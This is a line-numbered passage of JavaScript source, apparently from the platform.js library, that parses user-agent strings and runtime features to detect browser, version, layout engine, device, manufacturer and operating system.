385 | { 'label': 'SRWare Iron', 'pattern': 'Iron' },
386 | 'Sunrise',
387 | 'Swiftfox',
388 | 'Vivaldi',
389 | 'Waterfox',
390 | 'WebPositive',
391 | { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
392 | { 'label': 'UC Browser', 'pattern': 'UCBrowser' },
393 | 'Opera Mini',
394 | { 'label': 'Opera Mini', 'pattern': 'OPiOS' },
395 | 'Opera',
396 | { 'label': 'Opera', 'pattern': 'OPR' },
397 | 'Chromium',
398 | 'Chrome',
399 | { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
400 | { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
401 | { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
402 | { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
403 | { 'label': 'IE', 'pattern': 'IEMobile' },
404 | { 'label': 'IE', 'pattern': 'MSIE' },
405 | 'Safari'
406 | ]);
407 |
408 | /* Detectable products (order is important). */
409 | var product = getProduct([
410 | { 'label': 'BlackBerry', 'pattern': 'BB10' },
411 | 'BlackBerry',
412 | { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },
413 | { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },
414 | { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },
415 | { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },
416 | { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },
417 | { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },
418 | { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },
419 | { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },
420 | { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },
421 | 'Google TV',
422 | 'Lumia',
423 | 'iPad',
424 | 'iPod',
425 | 'iPhone',
426 | 'Kindle',
427 | { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
428 | 'Nexus',
429 | 'Nook',
430 | 'PlayBook',
431 | 'PlayStation Vita',
432 | 'PlayStation',
433 | 'TouchPad',
434 | 'Transformer',
435 | { 'label': 'Wii U', 'pattern': 'WiiU' },
436 | 'Wii',
437 | 'Xbox One',
438 | { 'label': 'Xbox 360', 'pattern': 'Xbox' },
439 | 'Xoom'
440 | ]);
441 |
442 | /* Detectable manufacturers. */
443 | var manufacturer = getManufacturer({
444 | 'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
445 | 'Alcatel': {},
446 | 'Archos': {},
447 | 'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
448 | 'Asus': { 'Transformer': 1 },
449 | 'Barnes & Noble': { 'Nook': 1 },
450 | 'BlackBerry': { 'PlayBook': 1 },
451 | 'Google': { 'Google TV': 1, 'Nexus': 1 },
452 | 'HP': { 'TouchPad': 1 },
453 | 'HTC': {},
454 | 'Huawei': {},
455 | 'Lenovo': {},
456 | 'LG': {},
457 | 'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
458 | 'Motorola': { 'Xoom': 1 },
459 | 'Nintendo': { 'Wii U': 1, 'Wii': 1 },
460 | 'Nokia': { 'Lumia': 1 },
461 | 'Oppo': {},
462 | 'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
463 | 'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
464 | 'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
465 | });
466 |
467 | /* Detectable operating systems (order is important). */
468 | var os = getOS([
469 | 'Windows Phone',
470 | 'KaiOS',
471 | 'Android',
472 | 'CentOS',
473 | { 'label': 'Chrome OS', 'pattern': 'CrOS' },
474 | 'Debian',
475 | { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
476 | 'Fedora',
477 | 'FreeBSD',
478 | 'Gentoo',
479 | 'Haiku',
480 | 'Kubuntu',
481 | 'Linux Mint',
482 | 'OpenBSD',
483 | 'Red Hat',
484 | 'SuSE',
485 | 'Ubuntu',
486 | 'Xubuntu',
487 | 'Cygwin',
488 | 'Symbian OS',
489 | 'hpwOS',
490 | 'webOS ',
491 | 'webOS',
492 | 'Tablet OS',
493 | 'Tizen',
494 | 'Linux',
495 | 'Mac OS X',
496 | 'Macintosh',
497 | 'Mac',
498 | 'Windows 98;',
499 | 'Windows '
500 | ]);
501 |
502 | /*------------------------------------------------------------------------*/
503 |
504 | /**
505 | * Picks the layout engine from an array of guesses.
506 | *
507 | * @private
508 | * @param {Array} guesses An array of guesses.
509 | * @returns {null|string} The detected layout engine.
510 | */
511 | function getLayout(guesses) {
512 | return reduce(guesses, function(result, guess) {
513 | return result || RegExp('\\b' + (
514 | guess.pattern || qualify(guess)
515 | ) + '\\b', 'i').exec(ua) && (guess.label || guess);
516 | });
517 | }
518 |
519 | /**
520 | * Picks the manufacturer from an array of guesses.
521 | *
522 | * @private
523 | * @param {Array} guesses An object of guesses.
524 | * @returns {null|string} The detected manufacturer.
525 | */
526 | function getManufacturer(guesses) {
527 | return reduce(guesses, function(result, value, key) {
528 | // Lookup the manufacturer by product or scan the UA for the manufacturer.
529 | return result || (
530 | value[product] ||
531 | value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] ||
532 | RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua)
533 | ) && key;
534 | });
535 | }
536 |
537 | /**
538 | * Picks the browser name from an array of guesses.
539 | *
540 | * @private
541 | * @param {Array} guesses An array of guesses.
542 | * @returns {null|string} The detected browser name.
543 | */
544 | function getName(guesses) {
545 | return reduce(guesses, function(result, guess) {
546 | return result || RegExp('\\b' + (
547 | guess.pattern || qualify(guess)
548 | ) + '\\b', 'i').exec(ua) && (guess.label || guess);
549 | });
550 | }
551 |
552 | /**
553 | * Picks the OS name from an array of guesses.
554 | *
555 | * @private
556 | * @param {Array} guesses An array of guesses.
557 | * @returns {null|string} The detected OS name.
558 | */
559 | function getOS(guesses) {
560 | return reduce(guesses, function(result, guess) {
561 | var pattern = guess.pattern || qualify(guess);
562 | if (!result && (result =
563 | RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua)
564 | )) {
565 | result = cleanupOS(result, pattern, guess.label || guess);
566 | }
567 | return result;
568 | });
569 | }
570 |
571 | /**
572 | * Picks the product name from an array of guesses.
573 | *
574 | * @private
575 | * @param {Array} guesses An array of guesses.
576 | * @returns {null|string} The detected product name.
577 | */
578 | function getProduct(guesses) {
579 | return reduce(guesses, function(result, guess) {
580 | var pattern = guess.pattern || qualify(guess);
581 | if (!result && (result =
582 | RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) ||
583 | RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) ||
584 | RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua)
585 | )) {
586 | // Split by forward slash and append product version if needed.
587 | if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) {
588 | result[0] += ' ' + result[1];
589 | }
590 | // Correct character case and cleanup string.
591 | guess = guess.label || guess;
592 | result = format(result[0]
593 | .replace(RegExp(pattern, 'i'), guess)
594 | .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')
595 | .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2'));
596 | }
597 | return result;
598 | });
599 | }
600 |
601 | /**
602 | * Resolves the version using an array of UA patterns.
603 | *
604 | * @private
605 | * @param {Array} patterns An array of UA patterns.
606 | * @returns {null|string} The detected version.
607 | */
608 | function getVersion(patterns) {
609 | return reduce(patterns, function(result, pattern) {
610 | return result || (RegExp(pattern +
611 | '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;
612 | });
613 | }
614 |
615 | /**
616 | * Returns `platform.description` when the platform object is coerced to a string.
617 | *
618 | * @name toString
619 | * @memberOf platform
620 | * @returns {string} Returns `platform.description` if available, else an empty string.
621 | */
622 | function toStringPlatform() {
623 | return this.description || '';
624 | }
625 |
626 | /*------------------------------------------------------------------------*/
627 |
628 | // Convert layout to an array so we can add extra details.
629 | layout && (layout = [layout]);
630 |
631 | // Detect Android products.
632 | // Browsers on Android devices typically provide their product IDS after "Android;"
633 | // up to "Build" or ") AppleWebKit".
634 | // Example:
635 | // "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
636 | // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
637 | if (/\bAndroid\b/.test(os) && !product &&
638 | (data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
639 | product = trim(data[1])
640 | // Replace any language codes (eg. "en-US").
641 | .replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
642 | || null;
643 | }
644 | // Detect product names that contain their manufacturer's name.
645 | if (manufacturer && !product) {
646 | product = getProduct([manufacturer]);
647 | } else if (manufacturer && product) {
648 | product = product
649 | .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
650 | .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
651 | }
652 | // Clean up Google TV.
653 | if ((data = /\bGoogle TV\b/.exec(product))) {
654 | product = data[0];
655 | }
656 | // Detect simulators.
657 | if (/\bSimulator\b/i.test(ua)) {
658 | product = (product ? product + ' ' : '') + 'Simulator';
659 | }
660 | // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.
661 | if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) {
662 | description.push('running in Turbo/Uncompressed mode');
663 | }
664 | // Detect IE Mobile 11.
665 | if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) {
666 | data = parse(ua.replace(/like iPhone OS/, ''));
667 | manufacturer = data.manufacturer;
668 | product = data.product;
669 | }
670 | // Detect iOS.
671 | else if (/^iP/.test(product)) {
672 | name || (name = 'Safari');
673 | os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua))
674 | ? ' ' + data[1].replace(/_/g, '.')
675 | : '');
676 | }
677 | // Detect Kubuntu.
678 | else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
679 | os = 'Kubuntu';
680 | }
681 | // Detect Android browsers.
682 | else if ((manufacturer && manufacturer != 'Google' &&
683 | ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) ||
684 | (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) {
685 | name = 'Android Browser';
686 | os = /\bAndroid\b/.test(os) ? os : 'Android';
687 | }
688 | // Detect Silk desktop/accelerated modes.
689 | else if (name == 'Silk') {
690 | if (!/\bMobi/i.test(ua)) {
691 | os = 'Android';
692 | description.unshift('desktop mode');
693 | }
694 | if (/Accelerated *= *true/i.test(ua)) {
695 | description.unshift('accelerated');
696 | }
697 | }
698 | // Detect UC Browser speed mode.
699 | else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
700 | description.push('speed mode');
701 | }
702 | // Detect PaleMoon identifying as Firefox.
703 | else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
704 | description.push('identifying as Firefox ' + data[1]);
705 | }
706 | // Detect Firefox OS and products running Firefox.
707 | else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) {
708 | os || (os = 'Firefox OS');
709 | product || (product = data[1]);
710 | }
711 | // Detect false positives for Firefox/Safari.
712 | else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) {
713 | // Escape the `/` for Firefox 1.
714 | if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {
715 | // Clear name of false positives.
716 | name = null;
717 | }
718 | // Reassign a generic name.
719 | if ((data = product || manufacturer || os) &&
720 | (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) {
721 | name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser';
722 | }
723 | }
724 | // Add Chrome version to description for Electron.
725 | else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) {
726 | description.push('Chromium ' + data);
727 | }
728 | // Detect non-Opera (Presto-based) versions (order is important).
729 | if (!version) {
730 | version = getVersion([
731 | '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
732 | 'Version',
733 | qualify(name),
734 | '(?:Firefox|Minefield|NetFront)'
735 | ]);
736 | }
737 | // Detect stubborn layout engines.
738 | if ((data =
739 | layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||
740 | /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') ||
741 | /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||
742 | !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||
743 | layout == 'WebKit' && /\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront'
744 | )) {
745 | layout = [data];
746 | }
747 | // Detect Windows Phone 7 desktop mode.
748 | if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) {
749 | name += ' Mobile';
750 | os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x');
751 | description.unshift('desktop mode');
752 | }
753 | // Detect Windows Phone 8.x desktop mode.
754 | else if (/\bWPDesktop\b/i.test(ua)) {
755 | name = 'IE Mobile';
756 | os = 'Windows Phone 8.x';
757 | description.unshift('desktop mode');
758 | version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]);
759 | }
760 | // Detect IE 11 identifying as other browsers.
761 | else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) {
762 | if (name) {
763 | description.push('identifying as ' + name + (version ? ' ' + version : ''));
764 | }
765 | name = 'IE';
766 | version = data[1];
767 | }
768 | // Leverage environment features.
769 | if (useFeatures) {
770 | // Detect server-side environments.
771 | // Rhino has a global function while others have a global object.
772 | if (isHostType(context, 'global')) {
773 | if (java) {
774 | data = java.lang.System;
775 | arch = data.getProperty('os.arch');
776 | os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');
777 | }
778 | if (rhino) {
779 | try {
780 | version = context.require('ringo/engine').version.join('.');
781 | name = 'RingoJS';
782 | } catch(e) {
783 | if ((data = context.system) && data.global.system == context.system) {
784 | name = 'Narwhal';
785 | os || (os = data[0].os || null);
786 | }
787 | }
788 | if (!name) {
789 | name = 'Rhino';
790 | }
791 | }
792 | else if (
793 | typeof context.process == 'object' && !context.process.browser &&
794 | (data = context.process)
795 | ) {
796 | if (typeof data.versions == 'object') {
797 | if (typeof data.versions.electron == 'string') {
798 | description.push('Node ' + data.versions.node);
799 | name = 'Electron';
800 | version = data.versions.electron;
801 | } else if (typeof data.versions.nw == 'string') {
802 | description.push('Chromium ' + version, 'Node ' + data.versions.node);
803 | name = 'NW.js';
804 | version = data.versions.nw;
805 | }
806 | }
807 | if (!name) {
808 | name = 'Node.js';
809 | arch = data.arch;
810 | os = data.platform;
811 | version = /[\d.]+/.exec(data.version);
812 | version = version ? version[0] : null;
813 | }
814 | }
815 | }
816 | // Detect Adobe AIR.
817 | else if (getClassOf((data = context.runtime)) == airRuntimeClass) {
818 | name = 'Adobe AIR';
819 | os = data.flash.system.Capabilities.os;
820 | }
821 | // Detect PhantomJS.
822 | else if (getClassOf((data = context.phantom)) == phantomClass) {
823 | name = 'PhantomJS';
824 | version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);
825 | }
826 | // Detect IE compatibility modes.
827 | else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) {
828 | // We're in compatibility mode when the Trident version + 4 doesn't
829 | // equal the document mode.
830 | version = [version, doc.documentMode];
831 | if ((data = +data[1] + 4) != version[1]) {
832 | description.push('IE ' + version[1] + ' mode');
833 | layout && (layout[1] = '');
834 | version[1] = data;
835 | }
836 | version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];
837 | }
838 | // Detect IE 11 masking as other browsers.
839 | else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) {
840 | description.push('masking as ' + name + ' ' + version);
841 | name = 'IE';
842 | version = '11.0';
843 | layout = ['Trident'];
844 | os = 'Windows';
845 | }
846 | os = os && format(os);
847 | }
848 | // Detect prerelease phases.
849 | if (version && (data =
850 | /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) ||
851 | /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||
852 | /\bMinefield\b/i.test(ua) && 'a'
853 | )) {
854 | prerelease = /b/i.test(data) ? 'beta' : 'alpha';
855 | version = version.replace(RegExp(data + '\\+?$'), '') +
856 | (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
857 | }
858 | // Detect Firefox Mobile.
859 | if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
860 | name = 'Firefox Mobile';
861 | }
862 | // Obscure Maxthon's unreliable version.
863 | else if (name == 'Maxthon' && version) {
864 | version = version.replace(/\.[\d.]+/, '.x');
865 | }
866 | // Detect Xbox 360 and Xbox One.
867 | else if (/\bXbox\b/i.test(product)) {
868 | if (product == 'Xbox 360') {
869 | os = null;
870 | }
871 | if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) {
872 | description.unshift('mobile mode');
873 | }
874 | }
875 | // Add mobile postfix.
876 | else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&
877 | (os == 'Windows CE' || /Mobi/i.test(ua))) {
878 | name += ' Mobile';
879 | }
880 | // Detect IE platform preview.
881 | else if (name == 'IE' && useFeatures) {
882 | try {
883 | if (context.external === null) {
884 | description.unshift('platform preview');
885 | }
886 | } catch(e) {
887 | description.unshift('embedded');
888 | }
889 | }
890 | // Detect BlackBerry OS version.
891 | // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp
892 | else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data =
893 | (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] ||
894 | version
895 | )) {
896 | data = [data, /BB10/.test(ua)];
897 | os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];
898 | version = null;
899 | }
900 | // Detect Opera identifying/masking itself as another browser.
901 | // http://www.opera.com/support/kb/view/843/
902 | else if (this != forOwn && product != 'Wii' && (
903 | (useFeatures && opera) ||
904 | (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) ||
905 | (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) ||
906 | (name == 'IE' && (
907 | (os && !/^Win/.test(os) && version > 5.5) ||
908 | /\bWindows XP\b/.test(os) && version > 8 ||
909 | version == 8 && !/\bTrident\b/.test(ua)
910 | ))
911 | ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {
912 | // When "identifying", the UA contains both Opera and the other browser's name.
913 | data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');
914 | if (reOpera.test(name)) {
915 | if (/\bIE\b/.test(data) && os == 'Mac OS') {
916 | os = null;
917 | }
918 | data = 'identify' + data;
919 | }
920 | // When "masking", the UA contains only the other browser's name.
921 | else {
922 | data = 'mask' + data;
923 | if (operaClass) {
924 | name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));
925 | } else {
926 | name = 'Opera';
927 | }
928 | if (/\bIE\b/.test(data)) {
929 | os = null;
930 | }
931 | if (!useFeatures) {
932 | version = null;
933 | }
934 | }
935 | layout = ['Presto'];
936 | description.push(data);
937 | }
938 | // Detect WebKit Nightly and approximate Chrome/Safari versions.
939 | if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
940 | // Correct build number for numeric comparison.
941 | // (e.g. "532.5" becomes "532.05")
942 | data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data];
943 | // Nightly builds are postfixed with a "+".
944 | if (name == 'Safari' && data[1].slice(-1) == '+') {
945 | name = 'WebKit Nightly';
946 | prerelease = 'alpha';
947 | version = data[1].slice(0, -1);
948 | }
949 | // Clear incorrect browser versions.
950 | else if (version == data[1] ||
951 | version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
952 | version = null;
953 | }
954 | // Use the full Chrome version when available.
955 | data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
956 | // Detect Blink layout engine.
957 | if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
958 | layout = ['Blink'];
959 | }
960 | // Detect JavaScriptCore.
961 | // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
962 | if (!useFeatures || (!likeChrome && !data[1])) {
963 | layout && (layout[1] = 'like Safari');
964 | data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
965 | } else {
966 | layout && (layout[1] = 'like Chrome');
967 | data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
968 | }
969 | // Add the postfix of ".x" or "+" for approximate versions.
970 | layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));
971 | // Obscure version for some Safari 1-2 releases.
972 | if (name == 'Safari' && (!version || parseInt(version) > 45)) {
973 | version = data;
974 | } else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
975 | description.unshift('headless');
976 | }
977 | }
978 | // Detect Opera desktop modes.
979 | if (name == 'Opera' && (data = /\bzbov|zvav$/.exec(os))) {
980 | name += ' ';
981 | description.unshift('desktop mode');
982 | if (data == 'zvav') {
983 | name += 'Mini';
984 | version = null;
985 | } else {
986 | name += 'Mobile';
987 | }
988 | os = os.replace(RegExp(' *' + data + '$'), '');
989 | }
990 | // Detect Chrome desktop mode.
991 | else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) {
992 | description.unshift('desktop mode');
993 | name = 'Chrome Mobile';
994 | version = null;
995 |
996 | if (/\bOS X\b/.test(os)) {
997 | manufacturer = 'Apple';
998 | os = 'iOS 4.3+';
999 | } else {
1000 | os = null;
1001 | }
1002 | }
1003 | // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
1004 | else if (/\bSRWare Iron\b/.test(name) && !version) {
1005 | version = getVersion('Chrome');
1006 | }
1007 | // Strip incorrect OS versions.
1008 | if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
1009 | ua.indexOf('/' + data + '-') > -1) {
1010 | os = trim(os.replace(data, ''));
1011 | }
1012 | // Ensure OS does not include the browser name.
1013 | if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
1014 | os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
1015 | }
1016 | // Add layout engine.
1017 | if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
1018 | /Browser|Lunascape|Maxthon/.test(name) ||
1019 | name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
1020 | /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
1021 | // Don't add layout details to description if they are falsey.
1022 | (data = layout[layout.length - 1]) && description.push(data);
1023 | }
1024 | // Combine contextual information.
1025 | if (description.length) {
1026 | description = ['(' + description.join('; ') + ')'];
1027 | }
1028 | // Append manufacturer to description.
1029 | if (manufacturer && product && product.indexOf(manufacturer) < 0) {
1030 | description.push('on ' + manufacturer);
1031 | }
1032 | // Append product to description.
1033 | if (product) {
1034 | description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);
1035 | }
1036 | // Parse the OS into an object.
1037 | if (os) {
1038 | data = / ([\d.+]+)$/.exec(os);
1039 | isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';
1040 | os = {
1041 | 'architecture': 32,
1042 | 'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,
1043 | 'version': data ? data[1] : null,
1044 | 'toString': function() {
1045 | var version = this.version;
1046 | return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');
1047 | }
1048 | };
1049 | }
1050 | // Add browser/OS architecture.
1051 | if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) {
1052 | if (os) {
1053 | os.architecture = 64;
1054 | os.family = os.family.replace(RegExp(' *' + data), '');
1055 | }
1056 | if (
1057 | name && (/\bWOW64\b/i.test(ua) ||
1058 | (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua)))
1059 | ) {
1060 | description.unshift('32-bit');
1061 | }
1062 | }
1063 | // Chrome 39 and above on OS X is always 64-bit.
1064 | else if (
1065 | os && /^OS X/.test(os.family) &&
1066 | name == 'Chrome' && parseFloat(version) >= 39
1067 | ) {
1068 | os.architecture = 64;
1069 | }
1070 |
1071 | ua || (ua = null);
1072 |
1073 | /*------------------------------------------------------------------------*/
1074 |
1075 | /**
1076 | * The platform object.
1077 | *
1078 | * @name platform
1079 | * @type Object
1080 | */
1081 | var platform = {};
1082 |
1083 | /**
1084 | * The platform description.
1085 | *
1086 | * @memberOf platform
1087 | * @type string|null
1088 | */
1089 | platform.description = ua;
1090 |
1091 | /**
1092 | * The name of the browser's layout engine.
1093 | *
1094 | * The list of common layout engines include:
1095 | * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"
1096 | *
1097 | * @memberOf platform
1098 | * @type string|null
1099 | */
1100 | platform.layout = layout && layout[0];
1101 |
1102 | /**
1103 | * The name of the product's manufacturer.
1104 | *
1105 | * The list of manufacturers include:
1106 | * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry",
1107 | * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo",
1108 | * "Nokia", "Samsung" and "Sony"
1109 | *
1110 | * @memberOf platform
1111 | * @type string|null
1112 | */
1113 | platform.manufacturer = manufacturer;
1114 |
1115 | /**
1116 | * The name of the browser/environment.
1117 | *
1118 | * The list of common browser names include:
1119 | * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
1120 | * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
1121 | * "Opera Mini" and "Opera"
1122 | *
1123 | * Mobile versions of some browsers have "Mobile" appended to their name:
1124 | * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"
1125 | *
1126 | * @memberOf platform
1127 | * @type string|null
1128 | */
1129 | platform.name = name;
1130 |
1131 | /**
1132 | * The alpha/beta release indicator.
1133 | *
1134 | * @memberOf platform
1135 | * @type string|null
1136 | */
1137 | platform.prerelease = prerelease;
1138 |
1139 | /**
1140 | * The name of the product hosting the browser.
1141 | *
1142 | * The list of common products include:
1143 | *
1144 | * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle",
1145 | * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"
1146 | *
1147 | * @memberOf platform
1148 | * @type string|null
1149 | */
1150 | platform.product = product;
1151 |
1152 | /**
1153 | * The browser's user agent string.
1154 | *
1155 | * @memberOf platform
1156 | * @type string|null
1157 | */
1158 | platform.ua = ua;
1159 |
1160 | /**
1161 | * The browser/environment version.
1162 | *
1163 | * @memberOf platform
1164 | * @type string|null
1165 | */
1166 | platform.version = name && version;
1167 |
1168 | /**
1169 | * The name of the operating system.
1170 | *
1171 | * @memberOf platform
1172 | * @type Object
1173 | */
1174 | platform.os = os || {
1175 |
1176 | /**
1177 | * The CPU architecture the OS is built for.
1178 | *
1179 | * @memberOf platform.os
1180 | * @type number|null
1181 | */
1182 | 'architecture': null,
1183 |
1184 | /**
